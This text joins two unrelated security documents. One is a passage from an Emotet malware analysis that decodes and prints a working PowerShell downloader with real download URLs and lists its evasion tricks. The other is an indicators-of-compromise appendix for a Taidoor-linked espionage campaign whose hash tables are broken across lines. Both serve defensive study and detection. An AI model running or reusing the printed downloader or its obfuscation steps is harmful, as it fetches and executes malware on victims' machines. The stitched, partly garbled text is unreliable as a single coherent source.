while before hiding it. The second parameter is -en. Similar to -w, there is not a parameter named -en according to the official PowerShell documentation. The -en parameter is completed as -EncodedCommand parameter by PowerShell. Therefore, we must use base64 decoding to reveal the PowerShell command. After base64 decoding: ```powershell $Azytjhzgaumig='Nvxdxgccbng'; $Nnyjthcrzjoyv='937'; $Iiqsfpsm='Rogxpgyve'; $Ekxhlobqrlh=$env:userprofile+'\'+$Nnyjthcrzjoyv+'.exe'; $S=('new-o'+'bj'+'ect') NeT.WebClient; $Rxbywici='http://ahc.mrbdev.com/wp-admin/qp0/*http://e-twow.be/verde/in6k/*https://magnificentpakistan.com/wp-includes/ha5j0b1/*https://www.qwqoo.com/homldw/3piyy4/*http://siwakuposo.com/siwaku2/X([char]42); $Nuoltwfqh='Qrvohdiubfek'; foreach($Ndlualuv in $Rxbywici) { try { $Hirmyhqaltos."Dow`Nloadfi`LE"($Ndlualuv, $Ekxhlobqrlh); $Hkukkfoptjdr='Xabdxvkfcma'; If ((&('Get-I'+'tem') $Ekxhlobqrlh)."L`eng`TH" -ge 29936) { [Diagnostics.Process]::"s`TARt"($Ekxhlobqrlh); $Yzjjfplmkgx='Bxlkqmtxa'; break; } } catch {} } ``` ### 3) Deobfuscation of the PowerShell Code Let's beautify the code: ```powershell $Azytjhzgaumig='Nvxdxgccbng'; $Nnyjthcrzjoyv='937'; $Iiqsfpsm='Rogxpgyve'; $Ekxhlobqrlh=$env:userprofile+'\'+$Nnyjthcrzjoyv+'.exe'; $Hirmyhqaltos=&('new-o'+'bj'+'ect') NeT.WebClient; $Rxbywici='http://ahc.mrbdev.com/wp-admin/qp0/*http://e-twow.be/verde/in6k/*https://magnificentpakistan.com/wp-includes/ha5j0b1/*https://www.qwqoo.com/homldw/3piyy4/*http://siwakuposo.com/siwaku2/X([char]42); $Nuoltwfqh='Qrvohdiubfek'; foreach($Ndlualuv in $Rxbywici) { try { $Hirmyhqaltos."Dow`Nloadfi`LE"($Ndlualuv, $Ekxhlobqrlh); If ((&('Get-I'+'tem') $Ekxhlobqrlh)."L`eng`TH" -ge 29936) { [Diagnostics.Process]::"s`TARt"($Ekxhlobqrlh); break; } } catch {} } ``` There are garbage variables to obfuscate the code. Let's remove them: ```powershell $Nnyjthcrzjoyv='937'; $Ekxhlobqrlh=$env:userprofile+'\'+$Nnyjthcrzjoyv+'.exe'; $Hirmyhqaltos=&('new-o'+'bj'+'ect') NeT.WebClient; $Rxbywici='http://ahc.mrbdev.com/wp-admin/qp0/*http://e-twow.be/verde/in6k/*https://magnificentpakistan.com/wp-includes/ha5j0b1/*https://www.qwqoo.com/homldw/3piyy4/*http://siwakuposo.com/siwaku2/X([char]42); foreach($Ndlualuv in $Rxbywici) { try { $Hirmyhqaltos."Dow`NloadfiLE"($Ndlualuv, $Ekxhlobqrlh); If ((&('Get-I'+'tem') $Ekxhlobqrlh)."L`eng`TH" -ge 29936) { [Diagnostics.Process]::"s`TARt"($Ekxhlobqrlh); break; } } catch {} } ``` There are `(backtick)` characters, which are used to obfuscate the code. In this case, it is not used to escape any character, so we can remove it from the code. ```powershell $Nnyjthcrzjoyv='937'; $Ekxhlobqrlh=$env:userprofile+'\'+$Nnyjthcrzjoyv+'.exe'; $Hirmyhqaltos=&('new-object') NeT.WebClient; $Rxbywici='http://ahc.mrbdev.com/wp-admin/qp0/*http://e-twow.be/verde/in6k/*https://magnificentpakistan.com/wp-includes/ha5j0b1/*https://www.qwqoo.com/homldw/3piyy4/*http://siwakuposo.com/siwaku2/X([char]42); foreach($Ndlualuv in $Rxbywici) { try { $Hirmyhqaltos."DowNloadfiLE"($Ndlualuv, $Ekxhlobqrlh); If ((&('Get-Item') $Ekxhlobqrlh)."Length" -ge 29936) { [Diagnostics.Process]::"Start"($Ekxhlobqrlh); break; } } catch {} } ``` Now, let's get rid of `+` characters. ```powershell $Ekxhlobqrlh=$env:userprofile\937.exe'; $Hirmyhqaltos=&('new-object') NeT.WebClient; $Rxbywici='http://ahc.mrbdev.com/wp-admin/qp0/*http://e-twow.be/verde/in6k/*https://magnificentpakistan.com/wp-includes/ha5j0b1/*https://www.qwqoo.com/homldw/3piyy4/*http://siwakuposo.com/siwaku2/X([char]42); foreach($Ndlualuv in $Rxbywici) { try { $Hirmyhqaltos."DowNloadfiLE"($Ndlualuv, $env:userprofile\937.exe); If ((&('Get-Item') $env:userprofile\937.exe)."Length" -ge 29936) { [Diagnostics.Process]::"Start"($env:userprofile\937.exe); break; } } catch {} } ``` Let's change variable names with more readable ones: ```powershell $list='http://ahc.mrbdev.com/wp-admin/qp0/*http://e-twow.be/verde/in6k/*https://magnificentpakistan.com/wp-includes/ha5j0b1/*https://www.qwqoo.com/homldw/3piyy4/*http://siwakuposo.com/siwaku2/X([char]42); foreach($url in $list) { try { &('new-object') NeT.WebClient.DownloadFile($url, $env:userprofile\937.exe); If ((&('Get-Item') $env:userprofile\937.exe)."Length" -ge 29936) { [Diagnostics.Process]::"Start"($env:userprofile\937.exe); break; } } catch {} } ``` Now, we must reveal the `$list` variable. The `Split()` method is used in this variable. In this case, the separator is `[char]42`, which is equal to the `*` (asterisk) character. ```powershell $list=('http://ahc.mrbdev.com/wp-admin/qp0/', 'http://e-twow.be/verde/in6k/', 'https://magnificentpakistan.com/wp-includes/ha5j0b1/', 'https://www.qwqoo.com/homldw/3piyy4/', 'http://siwakuposo.com/siwaku2/X5zB0ey/'); foreach($url in $list) { try { &('new-object') Net.WebClient.DownloadFile($url, $env:userprofile\937.exe); If ((&('Get-Item') $env:userprofile\937.exe)."Length" -ge 29936) { [Diagnostics.Process]::"Start"($env:userprofile\937.exe); break; } } catch {} } ``` ### 4) Analyzing the Deobfuscated PowerShell Code The first line defines the `$list` array that includes the following URLs: - hxxp://ahc.mrbdev.com/wp-admin/qp0/ - hxxp://e-twow.be/verde/in6k/ - hxxps://magnificentpakistan.com/wp-includes/ha5j0b1/ - hxxps://www.qwqoo.com/homldw/3piyy4/ - hxxp://siwakuposo.com/siwaku2/X5zB0ey/ The second line, a `foreach` loop, tries to download a file from the URLs included in the `$list` array in the given order via the `Net.WebClient.DownloadFile` method and saves the downloaded file to the `$env:userprofile` directory as `937.exe`. The third line, an `If` condition, returns true if the length of the downloaded file `937.exe` is greater than or equal to 29936 bytes. If it returns true, `Diagnostics.Process.Start` method executes the `937.exe`, then exits the loop. The exact file size of `937.exe` is 905472 bytes. What could be the reason for comparing the file size? The answer is simple; adversaries are trying to figure out whether the file is actually downloaded. Adversaries used the `Invoke-Item` cmdlet to execute the downloaded file in our previous Emotet analysis. Now, they are using the `Process.Start` method instead of `Invoke-Item` to decrease the detection rate. In our analysis, the PowerShell code downloaded `937.exe` from the first URL. The other URLs are also active. ### Summary The purpose of this second part of the Emotet Technical Analysis Series is analyzing the PowerShell code included in the heavily obfuscated Visual Basic macros revealed in the first article. Briefly, this PowerShell code downloads a file from a list of URLs, then executes the file as a process. Adversaries used the following techniques in the PowerShell code for obfuscation and evasion: 1. WMI was used to create a process instead of cmd. If WMI activity is not monitored, it is hard to detect the creation of the malicious process. 2. Substrings of parameters were used instead of the complete version of the parameters. PowerShell completes the incomplete version of a parameter. -w was used for -WindowStyle and -en was used for the -EncodedCommand. 3. The -WindowStyle parameter was used with the Hidden value to hide the PowerShell command window. 4. The Base64-encoded version of the PowerShell command was used with -EncodedCommand parameter. 5. Garbage variable assignments were used to obfuscate the code. 6. The `(backtick)` character was used to obfuscate strings. 7. The `+` operator was used to concatenate fragmented strings. 8. URLs were joined with `*` (asterisk) character to evade weak URL regexes of security controls. Then, the `Split()` method was used to separate URLs. 9. The `[char]` conversion function was used to obfuscate. 10. Randomized case (e.g., `NeT.WebClient`) was used to bypass weak security controls. 11. The `Process.Start` method was used to execute the downloaded file instead of the more common execution method like the `Invoke-Item` cmdlet. ### What is Next? We will analyze the behavior of the executed file `937.exe` in the third part of the Emotet Technical Analysis series.
# The Rise of Earth Aughisky: Tracking the Campaigns Taidoor Started ## Appendix Indicators of Compromise (IoCs) ### Domains - 1122334.zyns.com - aimimi.xxuz.com - airbus.zyns.com - airlinesflightleaving.thesizeofearth.ourhobby.com - aolmail.ddns.info - article.phdfa.com - Artor.terelation.com - asia.publiccosplay.org - av.phdfa.com - backupcoa.serveftp.com - big.qpoe.com - bigbang.ddns.ms - bigbang.myddns.com - bigbank.cnkk.org - bigbigbig.servehttp.com - bigkszb.twgogo.org - bing.ikwb.com - bitcom.polaczyk.com - blizzard.apchnetinfo.com - bnhxalex.organiccrap.com - bulk.indonet.org - cart.skyseaweb.org - cca.us.to - cier.edu.tw.us.to - common.taiwan.twilightparadox.com - common.taiwaninfoma.uk.to - customs.bot.nu - dayan.onedumb.com - dirco.jetos.com - dns.dymantic.service.fbs.ocry.com - download.longmusic.com - duth.ahfree.net - emailfromsm.mpsdtupdsda.ezua.com - exchanger-online-thalesgroup.zyns.com - expiration.toythieves.com - ey.acaro.org - ey.uk.to - Facebook.ddns.ms - family.mobwork.net - faqtos.ignorelist.com - fareastone.my03.com - find.usdc.ignorelist.com - fsc-kd.ns01.info - ftp.boonty.Got-Game.org - ftp.hinet.dns-dns.com - ftp.kingdom.myddns.com - ftp.lily.onmypc.net - ftp.newmc.dns-dns.com - ftp.ourfriends.sexxxy.biz - ftp.twnic.almostmy.com - ftp.wlksbb.MrsLove.com - ftp.yahoo-inc.DSMTP.COM - global.smart-house.ga - gmailgroup.mooo.com - google.apchnetinfo.com - google.ddns.name - google_service.ns01.us - googlemailinforma.orge.pl - gpu.wikaba.com - H0TMAIL.ddns.info - healths.jumpingcrab.com - hinet.dns-stuff.com - info.chemoimmunity.top - infor.nttcom.tk - intweb.mobwork.net - iPhone.linkWebSock.ZoneID.uk.to - iphone.site.web.fbs.ezua.com - iphone-ex.info.tm - itunes.toythieves.com - jgx.explorermaker.com - k1fsc.ax.lt - kaspersky.apchnetinfo.com - kcg2.gov.tw.allowed.org - kdmm.t28.net - kelsdc.compress.to - kilomier.2waky.com - kingdom.myddns.com - kingpsng.twgogo.org - kuangd.new.hack-inter.net - kuangd.new.privatedns.org - kuangdao.serveftp.com - list.googlebook.mrbonus.com - Liveupdate.jkub.com - liveupdate.Jkub.com - mails.grousp.allowed.org - mains.tainoetnde.bgphome.com - manated.dynamic-dns.net - members.viaopen.net - micro.security.services.rebatesrule.net - mimimi.VizVaz.com - mobiles.chickenkiller.com - moea.jumpingcrab.com - moea.strangled.net - moeaidb.ro.lt - mofa.ignorelist.com - mofir.twgg.org - money.terelation.com - mosec.twgogo.org - most.gov.allowed.org - msnlive.25u.com - music.apchnetinfo.com - mysweetpig.news.minecraftnoob.com - name.itsaol.com - news.mynews.photo-frame.com - news.onmypc.org - news.rockspace.wang - newsda.opsdatus.greatfinder.org - obicsystem.ntt-nexia.tk - ofa.fartit.com - oop.crabdance.com - oop.gov.minecraftr.us - oop.govtw.servernux.com - oop.uk.to - pe.publiccosplay.org - photostw.twgogo.org - pic-yahoo.ddns.us - pqsl.servernux.com - prefers.kboyda.net - privilegecom.theesponsibility.crabdance.com - RdAccount.dns1.us - relationship.epac.to - renders.maninta.anichgroup.com - rfvg.karlosb.com - rt.skymeto.com - sacstartapples.mohwfreshman1.otzo.com - saitama.map-shinai.com - sceyf.ibmmt.net - sci.dns1.us - security.MyNetAV.ORG - skype.mrbonus.com - smtpgov.eSMTP.biz - soft.update.cloudns.info - sorry.iownyour.biz - sososb.twbbs.org - stonekiki.freeddns.com - symantec.apchnetinfo.com - taiwanmail.org.ignorelist.com - tdns.verydvcd.com - TheoreticalModel.onmypc.us - toolbar.DSMTP.COM - toolbar.qpoe.com - trace.leecantu.com - trends.crabdance.com - tw.americanunfinished.com - twmis.twgogo.org - update.madacity.top - update.madicity.org - update.msapp.cloudns.info - video.itsaol.com - voicetube.citytalk.crabdance.com - web.stonekiki.freeddns.com - wephone.us.to - whlu.congci.info - widcards.abousts.fabioabreu.net - wlks.ServeUsers.com - wmdshr.3322.org - www.accountinfo.ssl443.org - www.american.ddns.us - www.bbwlkszb.organiccrap.com - www.bestcom.dns2.us - www.bidsd.justdied.com - www.bing.ikwb.com - www.biz.pcanywhere.NET - www.bnhxalex.organiccrap.com - www.centers.allowed.org - www.economy.ServeUser.com - www.enjoyit.longmusic.com - www.facebooking.otzo.com - www.faqtos.ignorelist.com - www.getadobe.dns-dns.com - www.google.dynssl.com - www.googledrivercould.serveuser.com - www.gov.organiccrap.com - www.gov.toh.info - www.happy.MyNetAV.ORG - www.idb.dns-dns.com - www.info.IsASecret.com - www.jjj.ns02.us - www.Kaccount.moneyhome.biz - www.kdbb.ourhobby.com - www.kelsdc.compress.to - www.kgoogfsd.freetcp.com - www.kilomier.2waky.com - www.kingdom.myddns.com - www.Kmember.wikaba.com - www.ktwods.lflink.com - www.ktwords.lflink.com - www.lily.onmypc.net - www.lookup.ns02.us - www.madicity.org - www.mbank.moneyhome.biz - www.mitac_com.dns05.com - www.moea.dsmtp.com - www.moea.toythieves.com - www.moeaidb.dns-dns.tw - www.moeaidb.qhigh.com - www.moeaidb.tk - www.mofamail.acmetoy.com - www.mpsdtupdsda.ezua.com - www.mptudp.pw - www.mybb.dns-dns.com - www.nditd.top - www.newtw.otzo.com - www.nscnet.tk - www.oop.ddns.us - www.oop.itsaol.com - www.ourfriends.sexxxy.biz - www.post.ourhobby.com - www.qtwlkszb.dynamicdns.org.uk - www.rocky3288.changeip.org - www.skyfd.com - www.software.acmetoy.com - www.specas.OurHobby.com - www.symantecAnti.ItemDB.com - www.taitra.fartit.com - www.thesizeofearth.ourhobby.com - www.tipo.dns-dns.com - www.tpp.otzo.com - www.trademoea.onmypc.net - www.twitter.otzo.com - www.update.mefound.com - www.wlksbb.MrsLove.com - www.workstation.mypop3.org - www.yahoo.serveuser.com - www.yahoonews.twgg.org - www.zoneprenuin.crabdance.com - www3.loginlived.com - yahoo.ddns.name - yahoo.mailweb.sxn.us - yahoofacebook.345.pl - youtobebig.cnkk.org - youtobeother.twbbs.org - zbAction.dynssl.COM - zcrd.twgogo.org - zoneprenuin.crabdance.com ### URLs - hxxp://beautygirl.1apps.com/judy.asp - hxxp://bingo.ikwb.com/asp - hxxp://blogs.vizvaz.com/mysite/images - hxxp://booknews.adaone.com/apps - hxxp://cisco001100.port25.biz/mysite/config - hxxp://cloak.zyns.com/e_bank/img/design - hxxp://cmail.zyns.com/mysite/images - hxxp://dska.ns1.name/media - hxxp://eadc.ns01.us/private - hxxp://eadc.ns01.us/web - hxxp://engine.justdied.com/web - hxxp://featuresapplegx.1apps.com/defaultgx1.asp - hxxp://flow.parujas.com/images - hxxp://fourk-asptree.qc.to/index.asp - hxxp://google.serveusers.com/wam - hxxp://inc.my03.com/images - hxxp://iphoneapp.1apps.com/index.asp - hxxp://joboss.1apps.com/data/index.asp - hxxp://kmtccc.1apps.com/index.asp - hxxp://mobile001.ns02.info/mysite/images - hxxp://mylinux.ddns.ms/mysite/images - hxxp://nationalobm.itemdb.com/mysite/config - hxxp://nationalobm.itemdb.com/mysite/images - hxxp://news.durbh.com/images - hxxp://onl.myrsoftware.com/images - hxxp://sdr.mrbonus.com/release - hxxp://ship.acmetoy.com/web - hxxp://skdghvka.1apps.com/index.asp - hxxp://tcpsung2011.1apps.com/home.asp - hxxp://tonyr.ns02.us/private - hxxp://volume.dhcp.biz/images - hxxp://wikipediatwaccou.1apps.com/indexpf.asp - hxxp://www.video.onmypc.org/web - hxxp://yunso.MrFace.com/images ### Loaders - a1066cfd823b3fad55fa7572e5be16a2e7cb2ebfd14fd8f3b6af4f2d6392 BKDR_TAILDR.ZTEK - 421a -A - bfef45c0797e01a5294411a8ca488093032d0974a8b0bcd92cbb2da456 BKDR_TALERET.ZTB - 7230e7 H-A - 66bfdfb5dd6d44960944e7f5d6132058f4faf1b72b22151aeba2469037fb - 04e6 BKDR_TALERET.ZTC - 97373d59533f52c5b7469e9e19ec06b9dcf4b3a7f32b2fdd6561116e8eb G-A - 78fdb 353ba074ad58985bc1383e557dfbec8785c80d81900094af9f70e3afb7c BKDR_TALERET.ZTC - a8a9c J-A - 6860ac794097c39284af178bf81b8ee99b78bf095c15ed645b057127bef 7a301 TROJ_DALGAN.JE - 871cb0b02214a5f9c394220af40b5da302f176fb5f1cc5ff1fdd9fa3582b3 ee2 - 6240d314a9da040c5fceb371668d57d799438bca6156e27bf71346e707 TROJ_DALGAN.JG - a9be74 e604ff4e21f89c586814577ecc6eec33d4c4f6b5c414900f2cc6d3282abf8 TROJ_DALGAN.ZTD - acb F-A - cf060da38eb21370983ea61029fc5669dd263e404a213f4571c7af1d257 4fe07 - 57df5a83dfcbe8ed656e6fe146508625edbe9c5f476c24ca8b4a669be27 0179d - 54739934c82f7822f0af9cfdf851678b83f4f8b43dc786df3ffe1e4aeb179 111 TROJ_TAILDR.ZTEH- - 503e8b90b470219dd7748011fe2a8b096212b2ffb5dca3e984952f9cc49 AA - f1563 5c0d88e57c0cd5e720441913c961be71c95f59e7e17a128a3dfdc78bd2b 06c6a - 085b83cba2a086929f3b838635d95abc31f5595ae0921af3100ca3d0563 a7ce7 - bc1a331ce58808bf7f2583c72e614d0e623d0399a06d83f9a21290daf76 TROJ_TAILDR.ZTEI- - a50fe A - 1476e338640068220297ebda79be3a692a49916880b29bb65f8c448be TROJ_TAILDR.ZTEJ- - d4e554d A - f3dd7b30daca1ea58060124cba263b3aea62c320f12b1354338bf9fb840 TROJ_TALERET.GC - 5575a 2fd6ce8eec9b1b189d67c4c41dac13e15a290b71267320003c3f69d7d09 TROJ_TALERET.VQK - 6c458 ### Hashes #### Roudan - SHA256 Detection Name - 933608c4bdc6a307a60f7d0feb18ec2852cc8313fb3be6067634cd2 Backdoor.Win32.SIMBO - e1e6cbc66 T.AA - b7d357eb94bca74b94166161762609083836ca0133de25cfb604b2 BKDR_DLLHOOK.A - 3eaca22c22 d06b514318143e81fcdfee35b19a50943019b508ebfb5edf27ce5ea BKDR_HUPIGON.ION - 19ae65e78 03b31a44df6a62fd4b44d3144406ef903bbb402e43a7d8547cf5594 BKDR_MOCELPA.A - 977251493 01636faaae739655bf88b39d21834b7dac923386d2b52efb4142cb2 BKDR_MOCELPA.ZTCD- - 78061f97f A - 9856553261f62829d019ac684b7621d0f2043b62799f9b42d4c4c8e BKDR_OSTI.A - 410dfa78d 06df72f045d5518f519a5cd29b5bb5afd6c7f8098a51213f3897bf67 BKDR_SIMBOT.SMC - 0f517855 08909439d1f7c15c17d231154a8983525f9ce6dbf9ad2ae5c93b3e2 BKDR_SIMBOT.SMC - cbed69aea 099b01bb075995dd8e4de6c5fbf1e90a1c9c19ac09d82a3c9718d78 BKDR_SIMBOT.SMC - 76c043790 0ffb60c77a2da662cace3821af56cea0bf922fe9834fe34b5075ac479 BKDR_SIMBOT.SMC - 9463668 139237ed7c40eb2fd46eadf3878f29b080ea81c671196b45f532685 BKDR_SIMBOT.SMC - 58fa0f131 158ba90c3fe5844005919f72cbfd92014e826c75cfedcd05a8fdbfab BKDR_SIMBOT.SMC - 9dbae049 172898de3033ffee8d49cd98881800e4d98c56e049a59ef61063858 BKDR_SIMBOT.SMC - 62c4de0f8 19570ad17429ba8995f2afa2ed635eafe06a4da290a663487ef053d BKDR_SIMBOT.SMC - 097759b4d 1abd9bf9eec41508438b721771002e551c165d4bca2d52eb6b1273 BKDR_SIMBOT.SMC - d2ce81dd5f 1bb842431ebbf4d0dfe453f146c6cffce7b232e9ada0f728967c0107 BKDR_SIMBOT.SMC - e245039d 1e0166518f5d1905b60be80793dc1d55937d2a8d08eebb82b8cff57 BKDR_SIMBOT.SMC - 2eed29eb5 22f793d016fcd7aae6f7982194010cdfb64c17b27bd6e7fc48fbccc58 BKDR_SIMBOT.SMC - 8fa3db0 255ea379b3e83b5d8ef957e041dfd590f00fa02d1ed3a2850450c16 BKDR_SIMBOT.SMC - d658f860f 26f11877ad790ce00e77a4164a82d98a93ec02e0b85d1f93ae370e4 BKDR_SIMBOT.SMC - 3cc47a5f3 273e1b31020f0171e8acea4348fbef98fb8fc2c1dcd98afce729694b2 BKDR_SIMBOT.SMC - 0de877c 27746788f37fdf94e1738b009a6be47469dff78f4752f01dc70b3076 BKDR_SIMBOT.SMC - 25012eb9 288251486c965480db495597cf6b96983972b212da0dedb9a61dc3 BKDR_SIMBOT.SMC - 44378c59a6 28e438a9388ce3bc748490ca6be1330caa843a0d8ba66fe44f4cef86 BKDR_SIMBOT.SMC - a5fad0e4 2cebbc1dfecbcd64ed1cebfe44600288e607583631265fd8f5661b70 BKDR_SIMBOT.SMC - f5cefe1f 2f10d6d2b346bfe4e5c9cf0c043c5000a469e3293ac515e2b8a7852 BKDR_SIMBOT.SMC - 7b566d59b 341c615f25657daf40087808060b2e1bcaf879c8cdd4e659636a231 BKDR_SIMBOT.SMC - cc32348dd 34b8876ba982aa5bcec023dc7591441f3a9ae805263bbd9f4a8c92d BKDR_SIMBOT.SMC - 1e19d994a 35228ac8ba165be86d5a42dae59db92b6d94060cd99f78f12eee8e BKDR_SIMBOT.SMC - b02c1388d6 35d4e2987448f1f059e1c9c0d9da0752efe1ab54d13b593d4492f71 BKDR_SIMBOT.SMC - dc490f5a6 39317fdf48b868f7788ce72b24779bbf2637eb0966b02b81181377f BKDR_SIMBOT.SMC - b135607df 3b86042f37200bc27f6d445d648621a326228cd072e6c79b918611 BKDR_SIMBOT.SMC - 74f96ba304 40e5490c885a8d1023e79b06df992d3c911a843774d63bff83084fe BKDR_SIMBOT.SMC - 244e4a628 413e0335e411d5ede4c43340412442655ba07a27bd4588940c5e9a BKDR_SIMBOT.SMC - d0f3feb13f 41ca1f666c4ce546e836f0d593e2fd2660854f31e89357de2e1b93e BKDR_SIMBOT.SMC - 85b75d341 43ac233d2483377cdd61cb44a5c19f23d934af4ed54b57e62652621 BKDR_SIMBOT.SMC - 8708f3f4b 44f2d0b8bcb3c5d9d064a1c1dc8a7dbdddd8e173c4cd4e13db034 BKDR_SIMBOT.SMC - 71a7ed91ec 463f40bf47a7f64a1ada9b2b89c4b28ee738701bbeb5d0efc2f052de BKDR_SIMBOT.SMC - 86578dcd 47198366a20a8eb4cb1ff5c3769fa8dee1bcab9d1e6258b3a19ffa28 BKDR_SIMBOT.SMC - b644eb38 47b314f6de708bc7f21944295d57c7026356da5209380e6b17b1a3 BKDR_SIMBOT.SMC - 72de2b3167 4dd701d2c40ca7b1172f5a2e8bd0dffbfe62452d03664788be32aad BKDR_SIMBOT.SMC - 46ae8d7c9 4e72389e72ff30cfc1ffbbd3a444bd56180c96a0ea5643925ad8255a BKDR_SIMBOT.SMC - 46f95317 50b9c5b1013b086320b296e7b18e0a0bd305dbc815058dd3b495f4 BKDR_SIMBOT.SMC - 507af5b77b 512c11137fceb5cde732daf66a94bfc205fd0396af0a5b2801d3e258 BKDR_SIMBOT.SMC - d7ac70f6 560b5db7eab3510ed4f8d5a7c3bdbc9787d8c63fa1154f093a55f9b BKDR_SIMBOT.SMC - 1ff0215bf 56615496be414183dbed9348b6ed278ceb4287cc4c8be0a4d8bd11 BKDR_SIMBOT.SMC - 5477daa806 59c72698c3bb47c2f1935d0b67c96d904c61920d08022e3fa65816f BKDR_SIMBOT.SMC - 9c8901b07 59f5651aa18f8b5c71f95d7a32b8d2fa1c26e081dbac824a9e80e349 BKDR_SIMBOT.SMC - a40fd3c0 5ae56c93b442191313486b52132de7532ba729fa1eb786ce926769 BKDR_SIMBOT.SMC - e6ca90b01b 5b83f6966ac0d8b733a0038faa5fe52b56518bb33a85a25e7bf35ad BKDR_SIMBOT.SMC - dd8e2b62a 5be76ded1c6a15911fd384d2b3f52dca1253380dfd35af106da6246 BKDR_SIMBOT.SMC - 4cb2feebb 5cef55d975c5aa687c55d9ce308d10ab444b0a3e744b01235d0353 BKDR_SIMBOT.SMC - ab2166c2f9 5f80c0354abb5bcde65073b41fc21262dc331dbf8d6240861e1efcb BKDR_SIMBOT.SMC - 9d054397e 5fa3162254f8e4ab9d3eaa144ada231b4e8a9ce93f2f457cb4e75052 BKDR_SIMBOT.SMC - 79222ca0 62b07e79cbd06000fd9cc9ecf0cb29561fc1065c84148870658aa647 BKDR_SIMBOT.SMC - 5e157039 646d4021d5d06f72c931e67af064580927c7e9c9efbe7d91299edd5 BKDR_SIMBOT.SMC - 62c235d19 65af7439797f5cdbe0863acdac946cb52e362ddbda9bba83fd8cb05 BKDR_SIMBOT.SMC - b24befa73 69802ebba3dec1d7302235a3745b4621afa0bd98b5e6e5587b7faf4 BKDR_SIMBOT.SMC - a1853843e 6a7f94fcec7b8e9d0427ac6a16ae34fbc674a2eee20490df71dd0dad BKDR_SIMBOT.SMC - 5d59908a 710fbe29ced3eefc787c9374523064a908f09d42feaf9de4a5d0c502 BKDR_SIMBOT.SMC - 339650e4 7290f53c9dce1a820415a6ef765f5c9a28940b2e1ad5bae84212e60 BKDR_SIMBOT.SMC - 134878d89 73c8c96c37140caa6b0967e42abe609515cebc28fc0cabfde2245d48 BKDR_SIMBOT.SMC - b5ec9ef7 79a901667518f91deb39f867f13d4ec9b72959adf282109dc6a73ee BKDR_SIMBOT.SMC - e620a97d6 7a899cc4bedad4243f738a1cb398c2c926e8cf818596c4a0cfdfade9 BKDR_SIMBOT.SMC - 4094b20a 7b02c9eefffbd9d444a2d190e72633aab4916f448291a3046839db3 BKDR_SIMBOT.SMC - c164d6ec0 7ccf43c5c4d6340fc570919e69305accebe8e7d33ce4ff2079406e8f7 BKDR_SIMBOT.SMC - 915557e 7e7c553313d3c551a329368a99954d6c71e423da0e8532f387d7e6 BKDR_SIMBOT.SMC - 2622649323 8a9af4a3316027123e0dbd1173c7c7d2a23a9310a3ffb8c430dc7fab BKDR_SIMBOT.SMC - 6c91bfdd 8e091ec9b5d6cd6f016f19c1a0c0db353ec84383541c0dff66f492bff BKDR_SIMBOT.SMC - 42f1295 8f89644a48a700eb823129d6031aec00ade5eb3e15c37f98dde5ddc BKDR_SIMBOT.SMC - c20053698 90a81d21ecffb854e4461062dad485d88e855aea01b429fc946a122 BKDR_SIMBOT.SMC - ed093bdfe 943ffd9f42c2ea1bbdd31b375c6d06e740303dd88df6b1d296c198d BKDR_SIMBOT.SMC - 6d2dfd737 96693077bab7b230c1d5a8bdf85f7d4f42c2f0866b49d09f3e7f0d0d BKDR_SIMBOT.SMC - 62a37d06 9b9cb6988f5e610b4c2c3fd9bbc4f1e6167355e1afdd1192fc540823 BKDR_SIMBOT.SMC - 9bfde688 9ca56280e5b22bc4c0a43fda4ae9b5695fa5e246c6c32bb4ca9dd6b BKDR_SIMBOT.SMC - a9af93eec 9dc429d6bdd6a71eb55624fcd71ca71164b651f4a22ae807a6984cb BKDR_SIMBOT.SMC - 7ae9f3be9 9e1e5689182d520655798f243ba6a36ce5e4a073a3bf7b48ff7d5fe1 BKDR_SIMBOT.SMC - c2af9b12 9fe8d71b38340707ea856c0f72001b3593ad0dfb317847367ffbdb5 BKDR_SIMBOT.SMC - 52610ed38 a056cf0833d19273a1fec72a2741800f2132f69fa9f8ff7405bc3d1b1 BKDR_SIMBOT.SMC - fedb2d9 a0700618a376a887e18ca1711aec28b61bf27a1cceb942ded51c041 BKDR_SIMBOT.SMC - 60f8817fe a19cd249f245da5af90e942c05fd038b159d49bcb7465b4342ea94e BKDR_SIMBOT.SMC - 8fc79e79 a611e14e3f7e1581976104568be0e401ecdd27c97b6ac2c63e4b7e BKDR_SIMBOT.SMC - b99d847081 a8c6b6f544c68478c238498883e174bbf06522522e7f4edd641c393 BKDR_SIMBOT.SMC - 990e4eff8 b14604d542fb8cb6540fddbf70c50ddd609ffe931286aab4ca7a9b29 BKDR_SIMBOT.SMC - fcf1bce6 b1bf95f5d9655131a61a6fe9240f609246f5e07358b4f4e0ff5bc45e4 BKDR_SIMBOT.SMC - 83a5dbb b40309679096718e79e66e0d15f935a6147919074e18e32a8d8c2d BKDR_SIMBOT.SMC - 627612db51 b6e4ed4dc008b345f7212d42a36ac8d0114145f4b80b53b67aefad5 BKDR_SIMBOT.SMC - ee4720375 c0b99a82464f2cd66dd00977a6d29c23d643d4e9658c15c98c32337 BKDR_SIMBOT.SMC - 56f37cf82 c0f25400e8b0aa963cc1ea6850c89b808dee4a1bc1bca4171e87fed BKDR_SIMBOT.SMC - 34f198320 c3b01e6dfdd6b46e1eb57953125613ee03f61e1f99526ccb268fdffa BKDR_SIMBOT.SMC - 3a3b9390 c462bc933b92df8c7af6d4f5237410eb6e329897709629ea7b4e606 BKDR_SIMBOT.SMC - 0a1fba143 c4718546e8f5880a8196ee9e8f52d2b713e77bc61785b7c6a128b1e BKDR_SIMBOT.SMC - c94922f57 cac11b33c7b204b9fec27e4dce9713caa08a26beca0ace93af737421 BKDR_SIMBOT.SMC - f3b0202b ce8ef8c85cc5ec214bd3cc2cf96d7ece76ba97bb67d4c60aab9ff95f3 BKDR_SIMBOT.SMC - 7d66508 cf234b987e831b8c5e7022b1113dc0f058a4e52d1e84c69d3f195d5 BKDR_SIMBOT.SMC - f33dec21c d284967e02c30e13b5a12b5b4692c43d86899b4542602ede20817f BKDR_SIMBOT.SMC - eca19e69a5 d2e00a345534792422c5d1805b11eeb526478521993ce91e61528f BKDR_SIMBOT.SMC - 5afb995473 d558071a11ab6ef532be6b554b50e0bda6f7de98e9f721349dc6c9ff BKDR_SIMBOT.SMC - 23c49c0b db4a81b234d90bab880e73272fa901bfaf155aaa417b74ca261504d BKDR_SIMBOT.SMC - 6892d85e9 dbc65e23bf55f0c2eb42d0c356f0b21d49b5ad10860f0e0ed944298 BKDR_SIMBOT.SMC - ca8d0e07f dc701f277309f7747455d6eee3662d25fd8c81e84d7f07a4180295f7 BKDR_SIMBOT.SMC - 1f610c80 de6f078d7dfa87f843e480c7ceb76228026506997f9c810b5b274b7 